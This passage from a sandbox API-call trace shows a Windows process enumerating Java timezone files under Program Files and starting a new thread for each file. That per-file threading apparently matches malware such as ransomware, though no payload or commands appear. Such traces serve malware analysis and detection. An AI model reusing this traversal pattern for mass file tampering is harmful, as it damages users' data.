(x86)\\Java\\jre7\\lib\\zi\\America\\Montserrat" [0195.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0195.096] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nassau", cAlternateFileName="")) returned 1 [0195.096] wcscmp (_String1="Nassau", _String2=".") returned 1 [0195.096] wcscmp (_String1="Nassau", _String2="..") returned 1 [0195.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fb118 [0195.096] wcscpy (in: _Dest=0x8fb118, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.096] wcscat (in: _Dest=0x8fb118, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.096] wcscat (in: _Dest=0x8fb118, _Source="Nassau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nassau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nassau" [0195.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8 [0195.098] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_York", cAlternateFileName="")) returned 1 [0195.098] wcscmp (_String1="New_York", _String2=".") returned 1 [0195.098] wcscmp (_String1="New_York", _String2="..") returned 1 [0195.098] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0c80 [0195.098] wcscpy (in: _Dest=0x8d0c80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.098] wcscat (in: _Dest=0x8d0c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.098] wcscat (in: _Dest=0x8d0c80, _Source="New_York" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\New_York") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\New_York" [0195.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490 [0195.099] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nipigon", cAlternateFileName="")) returned 1 [0195.099] wcscmp (_String1="Nipigon", _String2=".") returned 1 [0195.099] wcscmp (_String1="Nipigon", _String2="..") returned 1 [0195.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fb208 [0195.099] wcscpy (in: _Dest=0x8fb208, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.099] wcscat (in: _Dest=0x8fb208, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.099] wcscat (in: _Dest=0x8fb208, _Source="Nipigon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nipigon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nipigon" [0195.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0 [0195.101] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nome", cAlternateFileName="")) returned 1 [0195.101] wcscmp (_String1="Nome", _String2=".") returned 1 [0195.101] wcscmp (_String1="Nome", _String2="..") returned 1 [0195.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8fa920 [0195.101] wcscpy (in: _Dest=0x8fa920, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.101] wcscat (in: _Dest=0x8fa920, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.101] wcscat (in: _Dest=0x8fa920, _Source="Nome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nome" [0195.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0195.109] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noronha", cAlternateFileName="")) returned 1 [0195.109] wcscmp (_String1="Noronha", _String2=".") returned 1 [0195.110] wcscmp (_String1="Noronha", _String2="..") returned 1 [0195.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fa8a8 [0195.110] wcscpy (in: _Dest=0x8fa8a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.110] wcscat (in: _Dest=0x8fa8a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.110] wcscat (in: _Dest=0x8fa8a8, _Source="Noronha" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Noronha") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Noronha" [0195.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf50 [0195.116] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="North_Dakota", cAlternateFileName="NORTH_~1")) returned 1 [0195.116] wcscmp (_String1="North_Dakota", _String2=".") returned 1 [0195.116] wcscmp (_String1="North_Dakota", _String2="..") returned 1 [0195.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x9b3e18 [0195.116] wcscpy (in: _Dest=0x9b3e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.116] wcscat (in: _Dest=0x9b3e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.116] wcscat (in: _Dest=0x9b3e18, _Source="North_Dakota" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" [0195.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9b3e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0195.117] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ojinaga", cAlternateFileName="")) returned 1 [0195.117] wcscmp (_String1="Ojinaga", _String2=".") returned 1 [0195.117] wcscmp (_String1="Ojinaga", _String2="..") returned 1 [0195.117] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fa998 [0195.118] wcscpy (in: _Dest=0x8fa998, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.118] wcscat (in: _Dest=0x8fa998, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.118] wcscat (in: _Dest=0x8fa998, _Source="Ojinaga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Ojinaga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Ojinaga" [0195.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fa998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0195.119] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panama", cAlternateFileName="")) returned 1 [0195.119] wcscmp (_String1="Panama", _String2=".") returned 1 [0195.119] wcscmp (_String1="Panama", _String2="..") returned 1 [0195.119] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8faa10 [0195.119] wcscpy (in: _Dest=0x8faa10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.119] wcscat (in: _Dest=0x8faa10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.119] wcscat (in: _Dest=0x8faa10, _Source="Panama" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Panama") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Panama" [0195.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8faa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0195.120] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pangnirtung", cAlternateFileName="PANGNI~1")) returned 1 [0195.120] wcscmp (_String1="Pangnirtung", _String2=".") returned 1 [0195.120] wcscmp (_String1="Pangnirtung", _String2="..") returned 1 [0195.121] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0680 [0195.121] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.121] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.121] wcscat (in: _Dest=0x8d0680, _Source="Pangnirtung" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Pangnirtung") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Pangnirtung" [0195.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0195.122] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paramaribo", cAlternateFileName="PARAMA~1")) returned 1 [0195.122] wcscmp (_String1="Paramaribo", _String2=".") returned 1 [0195.122] wcscmp (_String1="Paramaribo", _String2="..") returned 1 [0195.122] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0880 [0195.122] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.122] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.122] wcscat (in: _Dest=0x8d0880, _Source="Paramaribo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Paramaribo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Paramaribo" [0195.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0195.123] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phoenix", cAlternateFileName="")) returned 1 [0195.123] wcscmp (_String1="Phoenix", _String2=".") returned 1 [0195.123] wcscmp (_String1="Phoenix", _String2="..") returned 1 [0195.123] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fb2f8 [0195.123] wcscpy (in: _Dest=0x8fb2f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.123] wcscat (in: _Dest=0x8fb2f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.124] wcscat (in: _Dest=0x8fb2f8, _Source="Phoenix" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Phoenix") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Phoenix" [0195.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb2f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a78 [0195.125] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port-au-Prince", cAlternateFileName="PORT-A~1")) returned 1 [0195.125] wcscmp (_String1="Port-au-Prince", _String2=".") returned 1 [0195.125] wcscmp (_String1="Port-au-Prince", _String2="..") returned 1 [0195.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x9b3ea0 [0195.125] wcscpy (in: _Dest=0x9b3ea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.125] wcscat (in: _Dest=0x9b3ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.125] wcscat (in: _Dest=0x9b3ea0, _Source="Port-au-Prince" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port-au-Prince") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port-au-Prince" [0195.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b3ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0195.126] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto_Velho", cAlternateFileName="PORTO_~1")) returned 1 [0195.126] wcscmp (_String1="Porto_Velho", _String2=".") returned 1 [0195.126] wcscmp (_String1="Porto_Velho", _String2="..") returned 1 [0195.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0700 [0195.126] wcscpy (in: _Dest=0x8d0700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.126] wcscat (in: _Dest=0x8d0700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.126] wcscat (in: _Dest=0x8d0700, _Source="Porto_Velho" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Porto_Velho") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Porto_Velho" [0195.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0195.127] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_of_Spain", cAlternateFileName="PORT_O~1")) returned 1 [0195.127] wcscmp (_String1="Port_of_Spain", _String2=".") returned 1 [0195.127] wcscmp (_String1="Port_of_Spain", _String2="..") returned 1 [0195.127] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9b3f28 [0195.127] wcscpy (in: _Dest=0x9b3f28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.127] wcscat (in: _Dest=0x9b3f28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.127] wcscat (in: _Dest=0x9b3f28, _Source="Port_of_Spain" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port_of_Spain") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port_of_Spain" [0195.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b3f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0195.129] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Puerto_Rico", cAlternateFileName="PUERTO~1")) returned 1 [0195.129] wcscmp (_String1="Puerto_Rico", _String2=".") returned 1 [0195.129] wcscmp (_String1="Puerto_Rico", _String2="..") returned 1 [0195.129] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0e80 [0195.129] wcscpy (in: _Dest=0x8d0e80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.129] wcscat (in: _Dest=0x8d0e80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.129] wcscat (in: _Dest=0x8d0e80, _Source="Puerto_Rico" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Puerto_Rico") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Puerto_Rico" [0195.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0195.130] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rainy_River", cAlternateFileName="RAINY_~1")) returned 1 [0195.130] wcscmp (_String1="Rainy_River", _String2=".") returned 1 [0195.130] wcscmp (_String1="Rainy_River", _String2="..") returned 1 [0195.130] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0600 [0195.130] wcscpy (in: _Dest=0x8d0600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.130] wcscat (in: _Dest=0x8d0600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.130] wcscat (in: _Dest=0x8d0600, _Source="Rainy_River" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rainy_River") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rainy_River" [0195.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, 